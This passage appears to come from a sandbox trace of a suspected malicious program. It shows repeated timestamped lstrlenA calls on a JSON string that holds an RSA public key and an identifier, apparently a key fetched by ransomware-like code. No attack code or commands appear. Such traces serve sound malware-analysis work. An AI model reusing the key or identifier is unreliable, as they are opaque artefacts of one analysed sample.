KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.357] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.358] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.358] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.358] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.358] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.358] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.358] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.358] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.358] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.358] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.358] lstrlenA (lpString="-----BEGIN PUBLIC 